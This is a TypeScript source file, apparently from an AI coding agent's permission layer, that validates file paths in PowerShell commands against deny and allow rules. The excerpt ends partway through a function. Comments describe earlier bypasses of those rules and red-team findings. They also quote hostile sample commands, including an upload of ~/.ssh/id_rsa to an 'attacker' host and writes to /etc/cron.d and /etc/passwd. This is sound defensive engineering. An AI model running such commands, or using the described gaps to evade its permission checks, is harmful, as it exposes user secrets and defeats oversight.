source dump of claude code
at main 2049 lines 73 kB view raw
1/** 2 * PowerShell-specific path validation for command arguments. 3 * 4 * Extracts file paths from PowerShell commands using the AST parser 5 * and validates they stay within allowed project directories. 6 * Follows the same patterns as BashTool/pathValidation.ts. 7 */ 8 9import { homedir } from 'os' 10import { isAbsolute, resolve } from 'path' 11import type { ToolPermissionContext } from '../../Tool.js' 12import type { PermissionRule } from '../../types/permissions.js' 13import { getCwd } from '../../utils/cwd.js' 14import { 15 getFsImplementation, 16 safeResolvePath, 17} from '../../utils/fsOperations.js' 18import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js' 19import { 20 allWorkingDirectories, 21 checkEditableInternalPath, 22 checkPathSafetyForAutoEdit, 23 checkReadableInternalPath, 24 matchingRuleForInput, 25 pathInAllowedWorkingPath, 26} from '../../utils/permissions/filesystem.js' 27import type { PermissionResult } from '../../utils/permissions/PermissionResult.js' 28import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js' 29import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js' 30import { 31 isDangerousRemovalPath, 32 isPathInSandboxWriteAllowlist, 33} from '../../utils/permissions/pathValidation.js' 34import { getPlatform } from '../../utils/platform.js' 35import type { 36 ParsedCommandElement, 37 ParsedPowerShellCommand, 38} from '../../utils/powershell/parser.js' 39import { 40 isNullRedirectionTarget, 41 isPowerShellParameter, 42} from '../../utils/powershell/parser.js' 43import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js' 44import { resolveToCanonical } from './readOnlyValidation.js' 45 46const MAX_DIRS_TO_LIST = 5 47// PowerShell wildcards are only * ? [ ] — braces are LITERAL characters 48// (no brace expansion). Including {} mis-routed paths like `./{x}/passwd` 49// through glob-base truncation instead of full-path symlink resolution. 50const GLOB_PATTERN_REGEX = /[*?[\]]/ 51 52type FileOperationType = 'read' | 'write' | 'create' 53 54type PathCheckResult = { 55 allowed: boolean 56 decisionReason?: import('../../utils/permissions/PermissionResult.js').PermissionDecisionReason 57} 58 59type ResolvedPathCheckResult = PathCheckResult & { 60 resolvedPath: string 61} 62 63/** 64 * Per-cmdlet parameter configuration. 65 * 66 * Each entry declares: 67 * - operationType: whether this cmdlet reads or writes to the filesystem 68 * - pathParams: parameters that accept file paths (validated against allowed directories) 69 * - knownSwitches: switch parameters (take NO value) — next arg is NOT consumed 70 * - knownValueParams: value-taking parameters that are NOT paths — next arg IS consumed 71 * but NOT validated as a path (e.g., -Encoding UTF8, -Filter *.txt) 72 * 73 * SECURITY MODEL: Any -Param NOT in one of these three sets forces 74 * hasUnvalidatablePathArg → ask. This ends the KNOWN_SWITCH_PARAMS whack-a-mole 75 * where every missing switch caused the unknown-param heuristic to swallow the 76 * next arg (potentially the positional path). Now, Tier 2 cmdlets only auto-allow 77 * with invocations we fully understand. 78 * 79 * Sources: 80 * - (Get-Command <cmdlet>).Parameters on Windows PowerShell 5.1 81 * - PS 6+ additions from official docs (e.g., -AsByteStream, -NoEmphasis) 82 * 83 * NOTE: Common parameters (-Verbose, -ErrorAction, etc.) are NOT listed here; 84 * they are merged in from COMMON_SWITCHES / COMMON_VALUE_PARAMS at lookup time. 85 * 86 * Parameter names are lowercase with leading dash to match runtime comparison. 87 */ 88type CmdletPathConfig = { 89 operationType: FileOperationType 90 /** Parameter names that accept file paths (validated against allowed directories) */ 91 pathParams: string[] 92 /** Switch parameters that take no value (next arg is NOT consumed) */ 93 knownSwitches: string[] 94 /** Value-taking parameters that are not paths (next arg IS consumed, not path-validated) */ 95 knownValueParams: string[] 96 /** 97 * Parameter names that accept a leaf filename resolved by PowerShell 98 * relative to ANOTHER parameter (not cwd). Safe to extract only when the 99 * value is a simple leaf (no `/`, `\`, `.`, `..`). Non-leaf values are 100 * flagged as unvalidatable because validatePath resolves against cwd, not 101 * the actual base — joining against -Path would need cross-parameter 102 * tracking. 103 */ 104 leafOnlyPathParams?: string[] 105 /** 106 * Number of leading positional arguments to skip (NOT extracted as paths). 107 * Used for cmdlets where positional-0 is a non-path value — e.g., 108 * Invoke-WebRequest's positional -Uri is a URL, not a local filesystem path. 109 * Without this, `iwr http://example.com` extracts `http://example.com` as 110 * a path, and validatePath's provider-path regex (^[a-z]{2,}:) misfires on 111 * the URL scheme with a confusing "non-filesystem provider" message. 112 */ 113 positionalSkip?: number 114 /** 115 * When true, this cmdlet only writes to disk when a pathParam is present. 116 * Without a path (e.g., `Invoke-WebRequest https://example.com` with no 117 * -OutFile), it's effectively a read operation — output goes to the pipeline, 118 * not the filesystem. Skips the "write with no target path" forced-ask. 119 * Cmdlets like Set-Content that ALWAYS write should NOT set this. 120 */ 121 optionalWrite?: boolean 122} 123 124const CMDLET_PATH_CONFIG: Record<string, CmdletPathConfig> = { 125 // ─── Write/create operations ────────────────────────────────────────────── 126 'set-content': { 127 operationType: 'write', 128 // -PSPath and -LP are runtime aliases for -LiteralPath on all provider 129 // cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the 130 // unknown-param branch → path trapped → paths=[] → deny never consulted. 131 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 132 knownSwitches: [ 133 '-passthru', 134 '-force', 135 '-whatif', 136 '-confirm', 137 '-usetransaction', 138 '-nonewline', 139 '-asbytestream', // PS 6+ 140 ], 141 knownValueParams: [ 142 '-value', 143 '-filter', 144 '-include', 145 '-exclude', 146 '-credential', 147 '-encoding', 148 '-stream', 149 ], 150 }, 151 'add-content': { 152 operationType: 'write', 153 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 154 knownSwitches: [ 155 '-passthru', 156 '-force', 157 '-whatif', 158 '-confirm', 159 '-usetransaction', 160 '-nonewline', 161 '-asbytestream', // PS 6+ 162 ], 163 knownValueParams: [ 164 '-value', 165 '-filter', 166 '-include', 167 '-exclude', 168 '-credential', 169 '-encoding', 170 '-stream', 171 ], 172 }, 173 'remove-item': { 174 operationType: 'write', 175 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 176 knownSwitches: [ 177 '-recurse', 178 '-force', 179 '-whatif', 180 '-confirm', 181 '-usetransaction', 182 ], 183 knownValueParams: [ 184 '-filter', 185 '-include', 186 '-exclude', 187 '-credential', 188 '-stream', 189 ], 190 }, 191 'clear-content': { 192 operationType: 'write', 193 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 194 knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], 195 knownValueParams: [ 196 '-filter', 197 '-include', 198 '-exclude', 199 '-credential', 200 '-stream', 201 ], 202 }, 203 // Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level 204 // deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only 205 // *asked* for `Out-File /etc/x`. All four are write cmdlets that accept 206 // file paths positionally. 207 'out-file': { 208 operationType: 'write', 209 // Out-File uses -FilePath (position 0). -Path is PowerShell's documented 210 // ALIAS for -FilePath — must be in pathParams or `Out-File -Path:./x` 211 // (colon syntax, one token) falls to unknown-param → value trapped → 212 // paths=[] → Edit deny never consulted → ask (fail-safe but deny downgrade). 213 pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'], 214 knownSwitches: [ 215 '-append', 216 '-force', 217 '-noclobber', 218 '-nonewline', 219 '-whatif', 220 '-confirm', 221 ], 222 knownValueParams: ['-inputobject', '-encoding', '-width'], 223 }, 224 'tee-object': { 225 operationType: 'write', 226 // Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path. 227 pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'], 228 knownSwitches: ['-append'], 229 knownValueParams: ['-inputobject', '-variable', '-encoding'], 230 }, 231 'export-csv': { 232 operationType: 'write', 233 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 234 knownSwitches: [ 235 '-append', 236 '-force', 237 '-noclobber', 238 '-notypeinformation', 239 '-includetypeinformation', 240 '-useculture', 241 '-noheader', 242 '-whatif', 243 '-confirm', 244 ], 245 knownValueParams: [ 246 '-inputobject', 247 '-delimiter', 248 '-encoding', 249 '-quotefields', 250 '-usequotes', 251 ], 252 }, 253 'export-clixml': { 254 operationType: 'write', 255 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 256 knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'], 257 knownValueParams: ['-inputobject', '-depth', '-encoding'], 258 }, 259 // New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` → 260 // resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES → not in 261 // config → early return {paths:[], 'read'} → Edit deny never consulted. 262 // 263 // Copy-Item/Move-Item have DUAL path params (-Path source, -Destination 264 // dest). operationType:'write' is imperfect — source is semantically a read 265 // — but it means BOTH paths get Edit-deny validation, which is strictly 266 // safer than extracting neither. A per-param operationType would be ideal 267 // but that's a bigger schema change; blunt 'write' closes the gap now. 268 'new-item': { 269 operationType: 'write', 270 // -Path is position 0. -Name (position 1) is resolved by PowerShell 271 // RELATIVE TO -Path (per MS docs: "you can specify the path of the new 272 // item in Name"), including `..` traversal. We resolve against CWD 273 // (validatePath L930), not -Path — so `New-Item -Path /allowed 274 // -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil, 275 // but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss 276 // the deny rule. This is a deny→ask downgrade, not fail-safe. 277 // 278 // -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are 279 // extracted (resolves to cwd/foo.txt — slightly wrong, but -Path 280 // extraction covers the directory, and a leaf can't traverse); 281 // any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg → 282 // ask. Joining -Name against -Path would be correct but needs 283 // cross-parameter tracking — out of scope here. 284 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 285 leafOnlyPathParams: ['-name'], 286 knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], 287 knownValueParams: ['-itemtype', '-value', '-credential', '-type'], 288 }, 289 'copy-item': { 290 operationType: 'write', 291 // -Path (position 0) is source, -Destination (position 1) is dest. 292 // Both extracted; both validated as write. 293 pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'], 294 knownSwitches: [ 295 '-container', 296 '-force', 297 '-passthru', 298 '-recurse', 299 '-whatif', 300 '-confirm', 301 '-usetransaction', 302 ], 303 knownValueParams: [ 304 '-filter', 305 '-include', 306 '-exclude', 307 '-credential', 308 '-fromsession', 309 '-tosession', 310 ], 311 }, 312 'move-item': { 313 operationType: 'write', 314 pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'], 315 knownSwitches: [ 316 '-force', 317 '-passthru', 318 '-whatif', 319 '-confirm', 320 '-usetransaction', 321 ], 322 knownValueParams: ['-filter', '-include', '-exclude', '-credential'], 323 }, 324 // rename-item/set-item: same class — ren/rni/si in COMMON_ALIASES, neither 325 // was in config. `ren /etc/passwd passwd.bak` → resolves to rename-item 326 // → not in config → {paths:[], 'read'} → Edit deny bypassed. This closes 327 // the COMMON_ALIASES→CMDLET_PATH_CONFIG coverage audit: every 328 // write-cmdlet alias now resolves to a config entry. 329 'rename-item': { 330 operationType: 'write', 331 // -Path position 0, -NewName position 1. -NewName is leaf-only (docs: 332 // "You cannot specify a new drive or a different path") and Rename-Item 333 // explicitly rejects `..` in it — so knownValueParams is correct here, 334 // unlike New-Item -Name which accepts traversal. 335 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 336 knownSwitches: [ 337 '-force', 338 '-passthru', 339 '-whatif', 340 '-confirm', 341 '-usetransaction', 342 ], 343 knownValueParams: [ 344 '-newname', 345 '-credential', 346 '-filter', 347 '-include', 348 '-exclude', 349 ], 350 }, 351 'set-item': { 352 operationType: 'write', 353 // FileSystem provider throws NotSupportedException for Set-Item content, 354 // so the practical write surface is registry/env/function/alias providers. 355 // Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at 356 // step 3.5 in powershellPermissions.ts, but classifying set-item as write 357 // here is defense-in-depth — powershellSecurity.ts:379 already lists it 358 // in ENV_WRITE_CMDLETS; this makes pathValidation consistent. 359 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 360 knownSwitches: [ 361 '-force', 362 '-passthru', 363 '-whatif', 364 '-confirm', 365 '-usetransaction', 366 ], 367 knownValueParams: [ 368 '-value', 369 '-credential', 370 '-filter', 371 '-include', 372 '-exclude', 373 ], 374 }, 375 // ─── Read operations ────────────────────────────────────────────────────── 376 'get-content': { 377 operationType: 'read', 378 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 379 knownSwitches: [ 380 '-force', 381 '-usetransaction', 382 '-wait', 383 '-raw', 384 '-asbytestream', // PS 6+ 385 ], 386 knownValueParams: [ 387 '-readcount', 388 '-totalcount', 389 '-tail', 390 '-first', // alias for -TotalCount 391 '-head', // alias for -TotalCount 392 '-last', // alias for -Tail 393 '-filter', 394 '-include', 395 '-exclude', 396 '-credential', 397 '-delimiter', 398 '-encoding', 399 '-stream', 400 ], 401 }, 402 'get-childitem': { 403 operationType: 'read', 404 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 405 knownSwitches: [ 406 '-recurse', 407 '-force', 408 '-name', 409 '-usetransaction', 410 '-followsymlink', 411 '-directory', 412 '-file', 413 '-hidden', 414 '-readonly', 415 '-system', 416 ], 417 knownValueParams: [ 418 '-filter', 419 '-include', 420 '-exclude', 421 '-depth', 422 '-attributes', 423 '-credential', 424 ], 425 }, 426 'get-item': { 427 operationType: 'read', 428 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 429 knownSwitches: ['-force', '-usetransaction'], 430 knownValueParams: [ 431 '-filter', 432 '-include', 433 '-exclude', 434 '-credential', 435 '-stream', 436 ], 437 }, 438 'get-itemproperty': { 439 operationType: 'read', 440 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 441 knownSwitches: ['-usetransaction'], 442 knownValueParams: [ 443 '-name', 444 '-filter', 445 '-include', 446 '-exclude', 447 '-credential', 448 ], 449 }, 450 'get-itempropertyvalue': { 451 operationType: 'read', 452 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 453 knownSwitches: ['-usetransaction'], 454 knownValueParams: [ 455 '-name', 456 '-filter', 457 '-include', 458 '-exclude', 459 '-credential', 460 ], 461 }, 462 'get-filehash': { 463 operationType: 'read', 464 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 465 knownSwitches: [], 466 knownValueParams: ['-algorithm', '-inputstream'], 467 }, 468 'get-acl': { 469 operationType: 'read', 470 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 471 knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'], 472 knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'], 473 }, 474 'format-hex': { 475 operationType: 'read', 476 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 477 knownSwitches: ['-raw'], 478 knownValueParams: [ 479 '-inputobject', 480 '-encoding', 481 '-count', // PS 6+ 482 '-offset', // PS 6+ 483 ], 484 }, 485 'test-path': { 486 operationType: 'read', 487 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 488 knownSwitches: ['-isvalid', '-usetransaction'], 489 knownValueParams: [ 490 '-filter', 491 '-include', 492 '-exclude', 493 '-pathtype', 494 '-credential', 495 '-olderthan', 496 '-newerthan', 497 ], 498 }, 499 'resolve-path': { 500 operationType: 'read', 501 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 502 knownSwitches: ['-relative', '-usetransaction', '-force'], 503 knownValueParams: ['-credential', '-relativebasepath'], 504 }, 505 'convert-path': { 506 operationType: 'read', 507 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 508 knownSwitches: ['-usetransaction'], 509 knownValueParams: [], 510 }, 511 'select-string': { 512 operationType: 'read', 513 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 514 knownSwitches: [ 515 '-simplematch', 516 '-casesensitive', 517 '-quiet', 518 '-list', 519 '-notmatch', 520 '-allmatches', 521 '-noemphasis', // PS 7+ 522 '-raw', // PS 7+ 523 ], 524 knownValueParams: [ 525 '-inputobject', 526 '-pattern', 527 '-include', 528 '-exclude', 529 '-encoding', 530 '-context', 531 '-culture', // PS 7+ 532 ], 533 }, 534 'set-location': { 535 operationType: 'read', 536 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 537 knownSwitches: ['-passthru', '-usetransaction'], 538 knownValueParams: ['-stackname'], 539 }, 540 'push-location': { 541 operationType: 'read', 542 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 543 knownSwitches: ['-passthru', '-usetransaction'], 544 knownValueParams: ['-stackname'], 545 }, 546 'pop-location': { 547 operationType: 'read', 548 // Pop-Location has no -Path/-LiteralPath (it pops from the stack), 549 // but we keep the entry so it passes through path validation gracefully. 550 pathParams: [], 551 knownSwitches: ['-passthru', '-usetransaction'], 552 knownValueParams: ['-stackname'], 553 }, 554 'select-xml': { 555 operationType: 'read', 556 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 557 knownSwitches: [], 558 knownValueParams: ['-xml', '-content', '-xpath', '-namespace'], 559 }, 560 'get-winevent': { 561 operationType: 'read', 562 // Get-WinEvent only has -Path, no -LiteralPath 563 pathParams: ['-path'], 564 knownSwitches: ['-force', '-oldest'], 565 knownValueParams: [ 566 '-listlog', 567 '-logname', 568 '-listprovider', 569 '-providername', 570 '-maxevents', 571 '-computername', 572 '-credential', 573 '-filterxpath', 574 '-filterxml', 575 '-filterhashtable', 576 ], 577 }, 578 // Write-path cmdlets with output parameters. Without these entries, 579 // -OutFile / -DestinationPath would write to arbitrary paths unvalidated. 580 'invoke-webrequest': { 581 operationType: 'write', 582 // -OutFile is the write target; -InFile is a read source (uploads a local 583 // file). Both are in pathParams so Edit deny rules are consulted (this 584 // config is operationType:write → permissionType:edit). A user with 585 // Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST 586 // -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted 587 // for write-type cmdlets — that's a known limitation of the 588 // operationType→permissionType mapping. 589 pathParams: ['-outfile', '-infile'], 590 positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path 591 optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only 592 knownSwitches: [ 593 '-allowinsecureredirect', 594 '-allowunencryptedauthentication', 595 '-disablekeepalive', 596 '-nobodyprogress', 597 '-passthru', 598 '-preservefileauthorizationmetadata', 599 '-resume', 600 '-skipcertificatecheck', 601 '-skipheadervalidation', 602 '-skiphttperrorcheck', 603 '-usebasicparsing', 604 '-usedefaultcredentials', 605 ], 606 knownValueParams: [ 607 '-uri', 608 '-method', 609 '-body', 610 '-contenttype', 611 '-headers', 612 '-maximumredirection', 613 '-maximumretrycount', 614 '-proxy', 615 '-proxycredential', 616 '-retryintervalsec', 617 '-sessionvariable', 618 '-timeoutsec', 619 '-token', 620 '-transferencoding', 621 '-useragent', 622 '-websession', 623 '-credential', 624 '-authentication', 625 '-certificate', 626 '-certificatethumbprint', 627 '-form', 628 '-httpversion', 629 ], 630 }, 631 'invoke-restmethod': { 632 operationType: 'write', 633 // -OutFile is the write target; -InFile is a read source (uploads a local 634 // file). Both must be in pathParams so deny rules are consulted. 635 pathParams: ['-outfile', '-infile'], 636 positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path 637 optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only 638 knownSwitches: [ 639 '-allowinsecureredirect', 640 '-allowunencryptedauthentication', 641 '-disablekeepalive', 642 '-followrellink', 643 '-nobodyprogress', 644 '-passthru', 645 '-preservefileauthorizationmetadata', 646 '-resume', 647 '-skipcertificatecheck', 648 '-skipheadervalidation', 649 '-skiphttperrorcheck', 650 '-usebasicparsing', 651 '-usedefaultcredentials', 652 ], 653 knownValueParams: [ 654 '-uri', 655 '-method', 656 '-body', 657 '-contenttype', 658 '-headers', 659 '-maximumfollowrellink', 660 '-maximumredirection', 661 '-maximumretrycount', 662 '-proxy', 663 '-proxycredential', 664 '-responseheaderstvariable', 665 '-retryintervalsec', 666 '-sessionvariable', 667 '-statuscodevariable', 668 '-timeoutsec', 669 '-token', 670 '-transferencoding', 671 '-useragent', 672 '-websession', 673 '-credential', 674 '-authentication', 675 '-certificate', 676 '-certificatethumbprint', 677 '-form', 678 '-httpversion', 679 ], 680 }, 681 'expand-archive': { 682 operationType: 'write', 683 pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'], 684 knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'], 685 knownValueParams: [], 686 }, 687 'compress-archive': { 688 operationType: 'write', 689 pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'], 690 knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'], 691 knownValueParams: ['-compressionlevel'], 692 }, 693 // *-ItemProperty cmdlets: primary use is the Registry provider (set/new/ 694 // remove a registry VALUE under a key). Provider-qualified paths (HKLM:\, 695 // HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts. 696 // Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring 697 // set-item's rationale. 698 'set-itemproperty': { 699 operationType: 'write', 700 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 701 knownSwitches: [ 702 '-passthru', 703 '-force', 704 '-whatif', 705 '-confirm', 706 '-usetransaction', 707 ], 708 knownValueParams: [ 709 '-name', 710 '-value', 711 '-type', 712 '-filter', 713 '-include', 714 '-exclude', 715 '-credential', 716 '-inputobject', 717 ], 718 }, 719 'new-itemproperty': { 720 operationType: 'write', 721 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 722 knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], 723 knownValueParams: [ 724 '-name', 725 '-value', 726 '-propertytype', 727 '-type', 728 '-filter', 729 '-include', 730 '-exclude', 731 '-credential', 732 ], 733 }, 734 'remove-itemproperty': { 735 operationType: 'write', 736 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 737 knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], 738 knownValueParams: [ 739 '-name', 740 '-filter', 741 '-include', 742 '-exclude', 743 '-credential', 744 ], 745 }, 746 'clear-item': { 747 operationType: 'write', 748 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 749 knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], 750 knownValueParams: ['-filter', '-include', '-exclude', '-credential'], 751 }, 752 'export-alias': { 753 operationType: 'write', 754 pathParams: ['-path', '-literalpath', '-pspath', '-lp'], 755 knownSwitches: [ 756 '-append', 757 '-force', 758 '-noclobber', 759 '-passthru', 760 '-whatif', 761 '-confirm', 762 ], 763 knownValueParams: ['-name', '-description', '-scope', '-as'], 764 }, 765} 766 767/** 768 * Checks if a lowercase parameter name (with leading dash) matches any entry 769 * in the given param list, accounting for PowerShell's prefix-matching behavior 770 * (e.g., -Lit matches -LiteralPath). 771 */ 772function matchesParam(paramLower: string, paramList: string[]): boolean { 773 for (const p of paramList) { 774 if ( 775 p === paramLower || 776 (paramLower.length > 1 && p.startsWith(paramLower)) 777 ) { 778 return true 779 } 780 } 781 return false 782} 783 784/** 785 * Returns true if a colon-syntax value contains expression constructs that 786 * mask the real runtime path (arrays, subexpressions, variables, backtick 787 * escapes). The outer CommandParameterAst 'Parameter' element type hides 788 * these from our AST walk, so we must detect them textually. 789 * 790 * Used in three branches of extractPathsFromCommand: pathParams, 791 * leafOnlyPathParams, and the unknown-param defense-in-depth branch. 792 */ 793function hasComplexColonValue(rawValue: string): boolean { 794 return ( 795 rawValue.includes(',') || 796 rawValue.startsWith('(') || 797 rawValue.startsWith('[') || 798 rawValue.includes('`') || 799 rawValue.includes('@(') || 800 rawValue.startsWith('@{') || 801 rawValue.includes('$') 802 ) 803} 804 805function formatDirectoryList(directories: string[]): string { 806 const dirCount = directories.length 807 if (dirCount <= MAX_DIRS_TO_LIST) { 808 return directories.map(dir => `'${dir}'`).join(', ') 809 } 810 const firstDirs = directories 811 .slice(0, MAX_DIRS_TO_LIST) 812 .map(dir => `'${dir}'`) 813 .join(', ') 814 return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more` 815} 816 817/** 818 * Expands tilde (~) at the start of a path to the user's home directory. 819 */ 820function expandTilde(filePath: string): string { 821 if ( 822 filePath === '~' || 823 filePath.startsWith('~/') || 824 filePath.startsWith('~\\') 825 ) { 826 return homedir() + filePath.slice(1) 827 } 828 return filePath 829} 830 831/** 832 * Checks the raw user-provided path (pre-realpath) for dangerous removal 833 * targets. safeResolvePath/realpathSync canonicalizes in ways that defeat 834 * isDangerousRemovalPath: on Windows '/' → 'C:\' (fails the === '/' check); 835 * on macOS homedir() may be under /var which realpathSync rewrites to 836 * /private/var (fails the === homedir() check). Checking the tilde-expanded, 837 * backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr) 838 * as the user typed them. 839 */ 840export function isDangerousRemovalRawPath(filePath: string): boolean { 841 const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace( 842 /\\/g, 843 '/', 844 ) 845 return isDangerousRemovalPath(expanded) 846} 847 848export function dangerousRemovalDeny(path: string): PermissionResult { 849 return { 850 behavior: 'deny', 851 message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`, 852 decisionReason: { 853 type: 'other', 854 reason: 'Removal targets a protected system path', 855 }, 856 } 857} 858 859/** 860 * Checks if a resolved path is allowed for the given operation type. 861 * Mirrors the logic in BashTool/pathValidation.ts isPathAllowed. 862 */ 863function isPathAllowed( 864 resolvedPath: string, 865 context: ToolPermissionContext, 866 operationType: FileOperationType, 867 precomputedPathsToCheck?: readonly string[], 868): PathCheckResult { 869 const permissionType = operationType === 'read' ? 'read' : 'edit' 870 871 // 1. Check deny rules first 872 const denyRule = matchingRuleForInput( 873 resolvedPath, 874 context, 875 permissionType, 876 'deny', 877 ) 878 if (denyRule !== null) { 879 return { 880 allowed: false, 881 decisionReason: { type: 'rule', rule: denyRule }, 882 } 883 } 884 885 // 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs) 886 // This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory 887 // and internal editable paths live under ~/.claude/ — matching the ordering in 888 // checkWritePermissionForTool (filesystem.ts step 1.5) 889 if (operationType !== 'read') { 890 const internalEditResult = checkEditableInternalPath(resolvedPath, {}) 891 if (internalEditResult.behavior === 'allow') { 892 return { 893 allowed: true, 894 decisionReason: internalEditResult.decisionReason, 895 } 896 } 897 } 898 899 // 2.5. For write/create operations, check safety validations 900 if (operationType !== 'read') { 901 const safetyCheck = checkPathSafetyForAutoEdit( 902 resolvedPath, 903 precomputedPathsToCheck, 904 ) 905 if (!safetyCheck.safe) { 906 return { 907 allowed: false, 908 decisionReason: { 909 type: 'safetyCheck', 910 reason: safetyCheck.message, 911 classifierApprovable: safetyCheck.classifierApprovable, 912 }, 913 } 914 } 915 } 916 917 // 3. Check if path is in allowed working directory 918 const isInWorkingDir = pathInAllowedWorkingPath( 919 resolvedPath, 920 context, 921 precomputedPathsToCheck, 922 ) 923 if (isInWorkingDir) { 924 if (operationType === 'read' || context.mode === 'acceptEdits') { 925 return { allowed: true } 926 } 927 } 928 929 // 3.5. For read operations, check internal readable paths 930 if (operationType === 'read') { 931 const internalReadResult = checkReadableInternalPath(resolvedPath, {}) 932 if (internalReadResult.behavior === 'allow') { 933 return { 934 allowed: true, 935 decisionReason: internalReadResult.decisionReason, 936 } 937 } 938 } 939 940 // 3.7. For write/create operations to paths OUTSIDE the working directory, 941 // check the sandbox write allowlist. When the sandbox is enabled, users 942 // have explicitly configured writable directories (e.g. /tmp/claude/) — 943 // treat these as additional allowed write directories so redirects/Out-File/ 944 // New-Item don't prompt unnecessarily. Paths IN the working directory are 945 // excluded: the sandbox allowlist always seeds '.' (cwd), which would 946 // bypass the acceptEdits gate at step 3. 947 if ( 948 operationType !== 'read' && 949 !isInWorkingDir && 950 isPathInSandboxWriteAllowlist(resolvedPath) 951 ) { 952 return { 953 allowed: true, 954 decisionReason: { 955 type: 'other', 956 reason: 'Path is in sandbox write allowlist', 957 }, 958 } 959 } 960 961 // 4. Check allow rules 962 const allowRule = matchingRuleForInput( 963 resolvedPath, 964 context, 965 permissionType, 966 'allow', 967 ) 968 if (allowRule !== null) { 969 return { 970 allowed: true, 971 decisionReason: { type: 'rule', rule: allowRule }, 972 } 973 } 974 975 // 5. Path is not allowed 976 return { allowed: false } 977} 978 979/** 980 * Best-effort deny check for paths obscured by :: or backtick syntax. 981 * ONLY checks deny rules — never auto-allows. If the stripped guess 982 * doesn't match a deny rule, we fall through to ask as before. 983 */ 984function checkDenyRuleForGuessedPath( 985 strippedPath: string, 986 cwd: string, 987 toolPermissionContext: ToolPermissionContext, 988 operationType: FileOperationType, 989): { resolvedPath: string; rule: PermissionRule } | null { 990 // Red-team P7: null bytes make expandPath throw. Pre-existing but 991 // defend here since we're introducing a new call path. 992 if (!strippedPath || strippedPath.includes('\0')) return null 993 // Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires 994 // on leading ~ — the backtick was in front of it. Re-run here. 995 const tildeExpanded = expandTilde(strippedPath) 996 const abs = isAbsolute(tildeExpanded) 997 ? tildeExpanded 998 : resolve(cwd, tildeExpanded) 999 const { resolvedPath } = safeResolvePath(getFsImplementation(), abs) 1000 const permissionType = operationType === 'read' ? 'read' : 'edit' 1001 const denyRule = matchingRuleForInput( 1002 resolvedPath, 1003 toolPermissionContext, 1004 permissionType, 1005 'deny', 1006 ) 1007 return denyRule ? { resolvedPath, rule: denyRule } : null 1008} 1009 1010/** 1011 * Validates a file system path, handling tilde expansion. 1012 */ 1013function validatePath( 1014 filePath: string, 1015 cwd: string, 1016 toolPermissionContext: ToolPermissionContext, 1017 operationType: 